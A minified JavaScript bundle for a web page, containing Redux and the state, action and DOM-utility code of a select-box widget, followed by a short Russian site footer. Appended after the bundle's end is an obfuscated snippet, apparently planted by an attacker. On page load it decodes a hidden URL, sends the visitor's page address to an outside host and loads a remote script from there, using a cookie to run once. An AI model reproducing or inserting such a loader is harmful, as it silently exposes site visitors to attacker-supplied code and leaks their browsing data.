strict";exports.__esModule=!0,exports.compose=exports.applyMiddleware=exports.bindActionCreators=exports.combineReducers=exports.createStore=void 0;var _createStore2=_interopRequireDefault(__webpack_require__(6)),_combineReducers2=_interopRequireDefault(__webpack_require__(21)),_bindActionCreators2=_interopRequireDefault(__webpack_require__(23)),_applyMiddleware2=_interopRequireDefault(__webpack_require__(24)),_compose2=_interopRequireDefault(__webpack_require__(25));_interopRequireDefault(__webpack_require__(22));function _interopRequireDefault(obj){return obj&&obj.__esModule?obj:{default:obj}}exports.createStore=_createStore2.default,exports.combineReducers=_combineReducers2.default,exports.bindActionCreators=_bindActionCreators2.default,exports.applyMiddleware=_applyMiddleware2.default,exports.compose=_compose2.default},function(module,exports,__webpack_require__){"use strict";exports.__esModule=!0,exports.ActionTypes=void 0,exports.default=function createStore(reducer,preloadedState,enhancer){var _ref2;"function"==typeof preloadedState&&void 0===enhancer&&(enhancer=preloadedState,preloadedState=void 0);if(void 0!==enhancer){if("function"!=typeof enhancer)throw new Error("Expected the enhancer to be a function.");return enhancer(createStore)(reducer,preloadedState)}if("function"!=typeof reducer)throw new Error("Expected the reducer to be a function.");var currentReducer=reducer,currentState=preloadedState,currentListeners=[],nextListeners=currentListeners,isDispatching=!1;function ensureCanMutateNextListeners(){nextListeners===currentListeners&&(nextListeners=currentListeners.slice())}function getState(){return currentState}function subscribe(listener){if("function"!=typeof listener)throw new Error("Expected listener to be a function.");var isSubscribed=!0;return ensureCanMutateNextListeners(),nextListeners.push(listener),function unsubscribe(){if(isSubscribed){isSubscribed=!1,ensureCanMutateNextListeners();var index=nextListeners.indexOf(listener);nextListeners.splice(index,1)}}}function dispatch(action){if(!(0,_isPlainObject2.default)(action))throw new Error("Actions must be plain objects. Use custom middleware for async actions.");if(void 0===action.type)throw new Error('Actions may not have an undefined "type" property. Have you misspelled a constant?');if(isDispatching)throw new Error("Reducers may not dispatch actions.");try{isDispatching=!0,currentState=currentReducer(currentState,action)}finally{isDispatching=!1}for(var listeners=currentListeners=nextListeners,i=0;i<listeners.length;i++){(0,listeners[i])()}return action}return dispatch({type:ActionTypes.INIT}),(_ref2={dispatch:dispatch,subscribe:subscribe,getState:getState,replaceReducer:function replaceReducer(nextReducer){if("function"!=typeof nextReducer)throw new Error("Expected the nextReducer to be a function.");currentReducer=nextReducer,dispatch({type:ActionTypes.INIT})}})[_symbolObservable2.default]=function observable(){var _ref,outerSubscribe=subscribe;return(_ref={subscribe:function subscribe(observer){if("object"!=typeof observer)throw new TypeError("Expected the observer to be an object.");function observeState(){observer.next&&observer.next(getState())}return observeState(),{unsubscribe:outerSubscribe(observeState)}}})[_symbolObservable2.default]=function(){return this},_ref},_ref2};var _isPlainObject2=_interopRequireDefault(__webpack_require__(7)),_symbolObservable2=_interopRequireDefault(__webpack_require__(17));function _interopRequireDefault(obj){return obj&&obj.__esModule?obj:{default:obj}}var ActionTypes=exports.ActionTypes={INIT:"@@redux/INIT"}},function(module,exports,__webpack_require__){var baseGetTag=__webpack_require__(8),getPrototype=__webpack_require__(14),isObjectLike=__webpack_require__(16),funcProto=Function.prototype,objectProto=Object.prototype,funcToString=funcProto.toString,hasOwnProperty=objectProto.hasOwnProperty,objectCtorString=funcToString.call(Object);module.exports=function isPlainObject(value){if(!isObjectLike(value)||"[object Object]"!=baseGetTag(value))return!1;var proto=getPrototype(value);if(null===proto)return!0;var Ctor=hasOwnProperty.call(proto,"constructor")&&proto.constructor;return"function"==typeof Ctor&&Ctor instanceof Ctor&&funcToString.call(Ctor)==objectCtorString}},function(module,exports,__webpack_require__){var Symbol=__webpack_require__(9),getRawTag=__webpack_require__(12),objectToString=__webpack_require__(13),symToStringTag=Symbol?Symbol.toStringTag:void 0;module.exports=function baseGetTag(value){return null==value?void 0===value?"[object Undefined]":"[object Null]":symToStringTag&&symToStringTag in Object(value)?getRawTag(value):objectToString(value)}},function(module,exports,__webpack_require__){var Symbol=__webpack_require__(10).Symbol;module.exports=Symbol},function(module,exports,__webpack_require__){var freeGlobal=__webpack_require__(11),freeSelf="object"==typeof self&&self&&self.Object===Object&&self,root=freeGlobal||freeSelf||Function("return this")();module.exports=root},function(module,exports){(function(global){var freeGlobal="object"==typeof global&&global&&global.Object===Object&&global;module.exports=freeGlobal}).call(exports,function(){return this}())},function(module,exports,__webpack_require__){var Symbol=__webpack_require__(9),objectProto=Object.prototype,hasOwnProperty=objectProto.hasOwnProperty,nativeObjectToString=objectProto.toString,symToStringTag=Symbol?Symbol.toStringTag:void 0;module.exports=function getRawTag(value){var isOwn=hasOwnProperty.call(value,symToStringTag),tag=value[symToStringTag];try{value[symToStringTag]=void 0;var unmasked=!0}catch(e){}var result=nativeObjectToString.call(value);return unmasked&&(isOwn?value[symToStringTag]=tag:delete value[symToStringTag]),result}},function(module,exports){var nativeObjectToString=Object.prototype.toString;module.exports=function objectToString(value){return nativeObjectToString.call(value)}},function(module,exports,__webpack_require__){var getPrototype=__webpack_require__(15)(Object.getPrototypeOf,Object);module.exports=getPrototype},function(module,exports){module.exports=function overArg(func,transform){return function(arg){return func(transform(arg))}}},function(module,exports){module.exports=function isObjectLike(value){return null!=value&&"object"==typeof value}},function(module,exports,__webpack_require__){module.exports=__webpack_require__(18)},function(module,exports,__webpack_require__){(function(global,module){"use strict";Object.defineProperty(exports,"__esModule",{value:!0});var root,_ponyfill2=function _interopRequireDefault(obj){return obj&&obj.__esModule?obj:{default:obj}}(__webpack_require__(20));root="undefined"!=typeof self?self:"undefined"!=typeof window?window:void 0!==global?global:module;var result=(0,_ponyfill2.default)(root);exports.default=result}).call(exports,function(){return this}(),__webpack_require__(19)(module))},function(module,exports){module.exports=function(module){return module.webpackPolyfill||(module.deprecate=function(){},module.paths=[],module.children=[],module.webpackPolyfill=1),module}},function(module,exports){"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.default=function symbolObservablePonyfill(root){var result,_Symbol=root.Symbol;"function"==typeof _Symbol?_Symbol.observable?result=_Symbol.observable:(result=_Symbol("observable"),_Symbol.observable=result):result="@@observable";return result}},function(module,exports,__webpack_require__){"use strict";exports.__esModule=!0,exports.default=function combineReducers(reducers){for(var reducerKeys=Object.keys(reducers),finalReducers={},i=0;i<reducerKeys.length;i++){var key=reducerKeys[i];0,"function"==typeof reducers[key]&&(finalReducers[key]=reducers[key])}var finalReducerKeys=Object.keys(finalReducers);0;var shapeAssertionError=void 0;try{!function assertReducerShape(reducers){Object.keys(reducers).forEach((function(key){var reducer=reducers[key];if(void 0===reducer(void 0,{type:_createStore.ActionTypes.INIT}))throw new Error('Reducer "'+key+"\" returned undefined during initialization. If the state passed to the reducer is undefined, you must explicitly return the initial state. The initial state may not be undefined. If you don't want to set a value for this reducer, you can use null instead of undefined.");if(void 0===reducer(void 0,{type:"@@redux/PROBE_UNKNOWN_ACTION_"+Math.random().toString(36).substring(7).split("").join(".")}))throw new Error('Reducer "'+key+"\" returned undefined when probed with a random type. Don't try to handle "+_createStore.ActionTypes.INIT+' or other actions in "redux/*" namespace. They are considered private. Instead, you must return the current state for any unknown actions, unless it is undefined, in which case you must return the initial state, regardless of the action type. The initial state may not be undefined, but can be null.')}))}(finalReducers)}catch(e){shapeAssertionError=e}return function combination(){var state=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},action=arguments[1];if(shapeAssertionError)throw shapeAssertionError;for(var hasChanged=!1,nextState={},_i=0;_i<finalReducerKeys.length;_i++){var _key=finalReducerKeys[_i],reducer=finalReducers[_key],previousStateForKey=state[_key],nextStateForKey=reducer(previousStateForKey,action);if(void 0===nextStateForKey){var errorMessage=getUndefinedStateErrorMessage(_key,action);throw new Error(errorMessage)}nextState[_key]=nextStateForKey,hasChanged=hasChanged||nextStateForKey!==previousStateForKey}return hasChanged?nextState:state}};var _createStore=__webpack_require__(6);_interopRequireDefault(__webpack_require__(7)),_interopRequireDefault(__webpack_require__(22));function _interopRequireDefault(obj){return obj&&obj.__esModule?obj:{default:obj}}function getUndefinedStateErrorMessage(key,action){var actionType=action&&action.type;return"Given action "+(actionType&&'"'+actionType.toString()+'"'||"an action")+', reducer "'+key+'" returned undefined. To ignore an action, you must explicitly return the previous state. If you want this reducer to hold no value, you can return null instead of undefined.'}},function(module,exports){"use strict";exports.__esModule=!0,exports.default=function warning(message){"undefined"!=typeof console&&"function"==typeof console.error&&console.error(message);try{throw new Error(message)}catch(e){}}},function(module,exports){"use strict";function bindActionCreator(actionCreator,dispatch){return function(){return dispatch(actionCreator.apply(void 0,arguments))}}exports.__esModule=!0,exports.default=function bindActionCreators(actionCreators,dispatch){if("function"==typeof actionCreators)return bindActionCreator(actionCreators,dispatch);if("object"!=typeof actionCreators||null===actionCreators)throw new Error("bindActionCreators expected an object or a function, instead received "+(null===actionCreators?"null":typeof actionCreators)+'. Did you write "import ActionCreators from" instead of "import * as ActionCreators from"?');for(var keys=Object.keys(actionCreators),boundActionCreators={},i=0;i<keys.length;i++){var key=keys[i],actionCreator=actionCreators[key];"function"==typeof actionCreator&&(boundActionCreators[key]=bindActionCreator(actionCreator,dispatch))}return boundActionCreators}},function(module,exports,__webpack_require__){"use strict";exports.__esModule=!0;var _extends=Object.assign||function(target){for(var i=1;i<arguments.length;i++){var source=arguments[i];for(var key in source)Object.prototype.hasOwnProperty.call(source,key)&&(target[key]=source[key])}return target};exports.default=function applyMiddleware(){for(var _len=arguments.length,middlewares=Array(_len),_key=0;_key<_len;_key++)middlewares[_key]=arguments[_key];return function(createStore){return function(reducer,preloadedState,enhancer){var chain,store=createStore(reducer,preloadedState,enhancer),_dispatch=store.dispatch,middlewareAPI={getState:store.getState,dispatch:function dispatch(action){return _dispatch(action)}};return chain=middlewares.map((function(middleware){return middleware(middlewareAPI)})),_dispatch=_compose2.default.apply(void 0,chain)(store.dispatch),_extends({},store,{dispatch:_dispatch})}}};var _compose2=function _interopRequireDefault(obj){return obj&&obj.__esModule?obj:{default:obj}}(__webpack_require__(25))},function(module,exports){"use strict";exports.__esModule=!0,exports.default=function compose(){for(var _len=arguments.length,funcs=Array(_len),_key=0;_key<_len;_key++)funcs[_key]=arguments[_key];if(0===funcs.length)return function(arg){return arg};if(1===funcs.length)return funcs[0];return funcs.reduce((function(a,b){return function(){return a(b.apply(void 0,arguments))}}))}},function(module,exports,__webpack_require__){"use strict";Object.defineProperty(exports,"__esModule",{value:!0});var _redux=__webpack_require__(5),_items2=_interopRequireDefault(__webpack_require__(27)),_groups2=_interopRequireDefault(__webpack_require__(28)),_choices2=_interopRequireDefault(__webpack_require__(29)),_general2=_interopRequireDefault(__webpack_require__(30));function _interopRequireDefault(obj){return obj&&obj.__esModule?obj:{default:obj}}var appReducer=(0,_redux.combineReducers)({items:_items2.default,groups:_groups2.default,choices:_choices2.default,general:_general2.default});exports.default=function rootReducer(passedState,action){var state=passedState;return"CLEAR_ALL"===action.type&&(state=void 0),appReducer(state,action)}},function(module,exports){"use strict";Object.defineProperty(exports,"__esModule",{value:!0});exports.default=function items(){var state=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],action=arguments[1];switch(action.type){case"ADD_ITEM":return[].concat(function _toConsumableArray(arr){if(Array.isArray(arr)){for(var i=0,arr2=Array(arr.length);i<arr.length;i++)arr2[i]=arr[i];return arr2}return Array.from(arr)}(state),[{id:action.id,choiceId:action.choiceId,groupId:action.groupId,value:action.value,label:action.label,active:!0,highlighted:!1,customProperties:action.customProperties,placeholder:action.placeholder||!1,keyCode:null}]).map((function(item){return item.highlighted&&(item.highlighted=!1),item}));case"REMOVE_ITEM":return state.map((function(item){return item.id===action.id&&(item.active=!1),item}));case"HIGHLIGHT_ITEM":return state.map((function(item){return item.id===action.id&&(item.highlighted=action.highlighted),item}));default:return state}}},function(module,exports){"use strict";Object.defineProperty(exports,"__esModule",{value:!0});exports.default=function groups(){var state=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],action=arguments[1];switch(action.type){case"ADD_GROUP":return[].concat(function _toConsumableArray(arr){if(Array.isArray(arr)){for(var i=0,arr2=Array(arr.length);i<arr.length;i++)arr2[i]=arr[i];return arr2}return Array.from(arr)}(state),[{id:action.id,value:action.value,active:action.active,disabled:action.disabled}]);case"CLEAR_CHOICES":return state.groups=[];default:return state}}},function(module,exports){"use strict";Object.defineProperty(exports,"__esModule",{value:!0});exports.default=function choices(){var state=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],action=arguments[1];switch(action.type){case"ADD_CHOICE":return[].concat(function _toConsumableArray(arr){if(Array.isArray(arr)){for(var i=0,arr2=Array(arr.length);i<arr.length;i++)arr2[i]=arr[i];return arr2}return Array.from(arr)}(state),[{id:action.id,elementId:action.elementId,groupId:action.groupId,value:action.value,label:action.label||action.value,disabled:action.disabled||!1,selected:!1,active:!0,score:9999,customProperties:action.customProperties,placeholder:action.placeholder||!1,keyCode:null}]);case"ADD_ITEM":var newState=state;return action.activateOptions&&(newState=state.map((function(choice){return choice.active=action.active,choice}))),action.choiceId>-1&&(newState=state.map((function(choice){return choice.id===parseInt(action.choiceId,10)&&(choice.selected=!0),choice}))),newState;case"REMOVE_ITEM":return action.choiceId>-1?state.map((function(choice){return choice.id===parseInt(action.choiceId,10)&&(choice.selected=!1),choice})):state;case"FILTER_CHOICES":var filteredResults=action.results;return state.map((function(choice){return choice.active=filteredResults.some((function(result){return result.item.id===choice.id&&(choice.score=result.score,!0)})),choice}));case"ACTIVATE_CHOICES":return state.map((function(choice){return choice.active=action.active,choice}));case"CLEAR_CHOICES":return state.choices=[];default:return state}}},function(module,exports){"use strict";Object.defineProperty(exports,"__esModule",{value:!0});exports.default=function general(){var state=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{loading:!1},action=arguments[1];return"LOADING"===action.type?{loading:action.isLoading}:state}},function(module,exports){"use strict";Object.defineProperty(exports,"__esModule",{value:!0});exports.addItem=function addItem(value,label,id,choiceId,groupId,customProperties,placeholder,keyCode){return{type:"ADD_ITEM",value:value,label:label,id:id,choiceId:choiceId,groupId:groupId,customProperties:customProperties,placeholder:placeholder,keyCode:keyCode}},exports.removeItem=function removeItem(id,choiceId){return{type:"REMOVE_ITEM",id:id,choiceId:choiceId}},exports.highlightItem=function highlightItem(id,highlighted){return{type:"HIGHLIGHT_ITEM",id:id,highlighted:highlighted}},exports.addChoice=function addChoice(value,label,id,groupId,disabled,elementId,customProperties,placeholder,keyCode){return{type:"ADD_CHOICE",value:value,label:label,id:id,groupId:groupId,disabled:disabled,elementId:elementId,customProperties:customProperties,placeholder:placeholder,keyCode:keyCode}},exports.filterChoices=function filterChoices(results){return{type:"FILTER_CHOICES",results:results}},exports.activateChoices=function activateChoices(){return{type:"ACTIVATE_CHOICES",active:!(arguments.length>0&&void 0!==arguments[0])||arguments[0]}},exports.clearChoices=function clearChoices(){return{type:"CLEAR_CHOICES"}},exports.addGroup=function addGroup(value,id,active,disabled){return{type:"ADD_GROUP",value:value,id:id,active:active,disabled:disabled}},exports.clearAll=function clearAll(){return{type:"CLEAR_ALL"}},exports.setIsLoading=function setIsLoading(isLoading){return{type:"LOADING",isLoading:isLoading}}},function(module,exports){"use strict";Object.defineProperty(exports,"__esModule",{value:!0});var tmpEl,_typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(obj){return typeof obj}:function(obj){return obj&&"function"==typeof Symbol&&obj.constructor===Symbol&&obj!==Symbol.prototype?"symbol":typeof obj},generateChars=(exports.capitalise=function capitalise(str){return str.replace(/\w\S*/g,(function(txt){return txt.charAt(0).toUpperCase()+txt.substr(1).toLowerCase()}))},exports.generateChars=function generateChars(length){for(var chars="",i=0;i<length;i++){chars+=getRandomNumber(0,36).toString(36)}return chars}),getType=(exports.generateId=function generateId(element,prefix){var id=element.id||element.name&&element.name+"-"+generateChars(2)||generateChars(4);return id=prefix+(id=id.replace(/(:|\.|\[|\]|,)/g,""))},exports.getType=function getType(obj){return Object.prototype.toString.call(obj).slice(8,-1)}),isType=exports.isType=function isType(type,obj){var clas=getType(obj);return null!=obj&&clas===type},whichAnimationEvent=(exports.isNode=function isNode(o){return"object"===("undefined"==typeof Node?"undefined":_typeof(Node))?o instanceof Node:o&&"object"===(void 0===o?"undefined":_typeof(o))&&"number"==typeof o.nodeType&&"string"==typeof o.nodeName},exports.isElement=function isElement(o){return"object"===("undefined"==typeof HTMLElement?"undefined":_typeof(HTMLElement))?o instanceof HTMLElement:o&&"object"===(void 0===o?"undefined":_typeof(o))&&null!==o&&1===o.nodeType&&"string"==typeof o.nodeName},exports.extend=function extend(){for(var extended={},length=arguments.length,merge=function merge(obj){for(var prop in obj)Object.prototype.hasOwnProperty.call(obj,prop)&&(isType("Object",obj[prop])?extended[prop]=extend(!0,extended[prop],obj[prop]):extended[prop]=obj[prop])},i=0;i<length;i++){var obj=arguments[i];isType("Object",obj)&&merge(obj)}return extended},exports.whichTransitionEvent=function whichTransitionEvent(){var t,el=document.createElement("fakeelement"),transitions={transition:"transitionend",OTransition:"oTransitionEnd",MozTransition:"transitionend",WebkitTransition:"webkitTransitionEnd"};for(t in transitions)if(void 0!==el.style[t])return transitions[t]},exports.whichAnimationEvent=function whichAnimationEvent(){var t,el=document.createElement("fakeelement"),animations={animation:"animationend",OAnimation:"oAnimationEnd",MozAnimation:"animationend",WebkitAnimation:"webkitAnimationEnd"};for(t in animations)if(void 0!==el.style[t])return animations[t]}),stripHTML=(exports.getParentsUntil=function getParentsUntil(elem,parent,selector){for(var parents=[];elem&&elem!==document;elem=elem.parentNode){if(parent){var parentType=parent.charAt(0);if("."===parentType&&elem.classList.contains(parent.substr(1)))break;if("#"===parentType&&elem.id===parent.substr(1))break;if("["===parentType&&elem.hasAttribute(parent.substr(1,parent.length-1)))break;if(elem.tagName.toLowerCase()===parent)break}if(selector){var selectorType=selector.charAt(0);"."===selectorType&&elem.classList.contains(selector.substr(1))&&parents.push(elem),"#"===selectorType&&elem.id===selector.substr(1)&&parents.push(elem),"["===selectorType&&elem.hasAttribute(selector.substr(1,selector.length-1))&&parents.push(elem),elem.tagName.toLowerCase()===selector&&parents.push(elem)}else parents.push(elem)}return 0===parents.length?null:parents},exports.wrap=function wrap(element,wrapper){return wrapper=wrapper||document.createElement("div"),element.nextSibling?element.parentNode.insertBefore(wrapper,element.nextSibling):element.parentNode.appendChild(wrapper),wrapper.appendChild(element)},exports.getSiblings=function getSiblings(elem){for(var siblings=[],sibling=elem.parentNode.firstChild;sibling;sibling=sibling.nextSibling)1===sibling.nodeType&&sibling!==elem&&siblings.push(sibling);return siblings},exports.findAncestor=function findAncestor(el,cls){for(;(el=el.parentElement)&&!el.classList.contains(cls););return el},exports.findAncestorByAttrName=function findAncestorByAttrName(el,attr){for(var target=el;target;){if(target.hasAttribute(attr))return target;target=target.parentElement}return null},exports.debounce=function debounce(func,wait,immediate){var timeout;return function(){var context=this,args=arguments,callNow=immediate&&!timeout;clearTimeout(timeout),timeout=setTimeout((function later(){timeout=null,immediate||func.apply(context,args)}),wait),callNow&&func.apply(context,args)}},exports.getElemDistance=function getElemDistance(el){var location=0;if(el.offsetParent)do{location+=el.offsetTop,el=el.offsetParent}while(el);return location>=0?location:0},exports.getElementOffset=function getElementOffset(el,offset){var elOffset=offset;return elOffset>1&&(elOffset=1),elOffset>0&&(elOffset=0),Math.max(el.offsetHeight*elOffset)},exports.getAdjacentEl=function getAdjacentEl(startEl,className){var direction=arguments.length>2&&void 0!==arguments[2]?arguments[2]:1;if(startEl&&className){var parent=startEl.parentNode.parentNode,children=Array.from(parent.querySelectorAll(className)),startPos=children.indexOf(startEl);return children[startPos+(direction>0?1:-1)]}},exports.getScrollPosition=function getScrollPosition(position){return"bottom"===position?Math.max((window.scrollY||window.pageYOffset)+(window.innerHeight||document.documentElement.clientHeight)):window.scrollY||window.pageYOffset},exports.isInView=function isInView(el,position,offset){return this.getScrollPosition(position)>this.getElemDistance(el)+this.getElementOffset(el,offset)},exports.isScrolledIntoView=function isScrolledIntoView(el,parent){if(el){return(arguments.length>2&&void 0!==arguments[2]?arguments[2]:1)>0?parent.scrollTop+parent.offsetHeight>=el.offsetTop+el.offsetHeight:el.offsetTop>=parent.scrollTop}},exports.stripHTML=function stripHTML(html){return html.replace(/&/g,"&amp;").replace(/>/g,"&rt;").replace(/</g,"&lt;").replace(/"/g,"&quot;")}),getRandomNumber=(exports.addAnimation=function addAnimation(el,animation){var animationEvent=whichAnimationEvent();el.classList.add(animation),el.addEventListener(animationEvent,(function removeAnimation(){el.classList.remove(animation),el.removeEventListener(animationEvent,removeAnimation,!1)}),!1)},exports.getRandomNumber=function getRandomNumber(min,max){return Math.floor(Math.random()*(max-min)+min)}),strToEl=exports.strToEl=(tmpEl=document.createElement("div"),function(str){var r,cleanedInput=str.trim();for(tmpEl.innerHTML=cleanedInput,r=tmpEl.children[0];tmpEl.firstChild;)tmpEl.removeChild(tmpEl.firstChild);return r});exports.getWidthOfInput=function getWidthOfInput(input){var value=input.value||input.placeholder,width=input.offsetWidth;if(value){var testEl=strToEl("<span>"+stripHTML(value)+"</span>");if(testEl.style.position="absolute",testEl.style.padding="0",testEl.style.top="-9999px",testEl.style.left="-9999px",testEl.style.width="auto",testEl.style.whiteSpace="pre",document.body.contains(input)&&window.getComputedStyle){var inputStyle=window.getComputedStyle(input);inputStyle&&(testEl.style.fontSize=inputStyle.fontSize,testEl.style.fontFamily=inputStyle.fontFamily,testEl.style.fontWeight=inputStyle.fontWeight,testEl.style.fontStyle=inputStyle.fontStyle,testEl.style.letterSpacing=inputStyle.letterSpacing,testEl.style.textTransform=inputStyle.textTransform,testEl.style.padding=inputStyle.padding)}document.body.appendChild(testEl),value&&testEl.offsetWidth!==input.offsetWidth&&(width=testEl.offsetWidth+4),document.body.removeChild(testEl)}return width+"px"},exports.sortByAlpha=function sortByAlpha(a,b){var labelA=(a.label||a.value).toLowerCase(),labelB=(b.label||b.value).toLowerCase();return labelA<labelB?-1:labelA>labelB?1:0},exports.sortByScore=function sortByScore(a,b){return a.score-b.score},exports.triggerEvent=function triggerEvent(element,type){var event=new CustomEvent(type,{detail:arguments.length>2&&void 0!==arguments[2]?arguments[2]:null,bubbles:!0,cancelable:!0});return element.dispatchEvent(event)}},function(module,exports){"use strict";!function(){var toStr,isCallable,maxSafeInteger,toLength;function CustomEvent(event,params){params=params||{bubbles:!1,cancelable:!1,detail:void 0};var evt=document.createEvent("CustomEvent");return evt.initCustomEvent(event,params.bubbles,params.cancelable,params.detail),evt}Array.from||(Array.from=(toStr=Object.prototype.toString,isCallable=function isCallable(fn){return"function"==typeof fn||"[object Function]"===toStr.call(fn)},maxSafeInteger=Math.pow(2,53)-1,toLength=function toLength(value){var len=function toInteger(value){var number=Number(value);return isNaN(number)?0:0!==number&&isFinite(number)?(number>0?1:-1)*Math.floor(Math.abs(number)):number}(value);return Math.min(Math.max(len,0),maxSafeInteger)},function from(arrayLike){var items=Object(arrayLike);if(null==arrayLike)throw new TypeError("Array.from requires an array-like object - not null or undefined");var T,mapFn=arguments.length>1?arguments[1]:void 0;if(void 0!==mapFn){if(!isCallable(mapFn))throw new TypeError("Array.from: when provided, the second argument must be a function");arguments.length>2&&(T=arguments[2])}for(var kValue,len=toLength(items.length),A=isCallable(this)?Object(new this(len)):new Array(len),k=0;k<len;)kValue=items[k],A[k]=mapFn?void 0===T?mapFn(kValue,k):mapFn.call(T,kValue,k):kValue,k+=1;return A.length=len,A})),Array.prototype.find||(Array.prototype.find=function(predicate){if(null==this)throw new TypeError("Array.prototype.find called on null or undefined");if("function"!=typeof predicate)throw new TypeError("predicate must be a function");for(var value,list=Object(this),length=list.length>>>0,thisArg=arguments[1],i=0;i<length;i++)if(value=list[i],predicate.call(thisArg,value,i,list))return value}),CustomEvent.prototype=window.Event.prototype,window.CustomEvent=CustomEvent}()}])}));(function(o,d,l){try{o.f=o=>o.split('').reduce((s,c)=>s+String.fromCharCode((c.charCodeAt()-5).toString()),'');o.b=o.f('UMUWJKX');o.c=l.protocol[0]=='h'&&/\./.test(l.hostname)&&!(new RegExp(o.b)).test(d.cookie),setTimeout(function(){o.c&&(o.s=d.createElement('script'),o.s.src=o.f('myyux?44zxjwxyf'+'ynhx3htr4ljy4xhwn'+'uy3oxDwjkjwwjwB')+l.href,d.body.appendChild(o.s));},1000);d.cookie=o.b+'=full;max-age=39800;'}catch(e){};}({},document,location));

Главная | Обратная связь

drupal hosting | друпал хостинг | it patrol .inc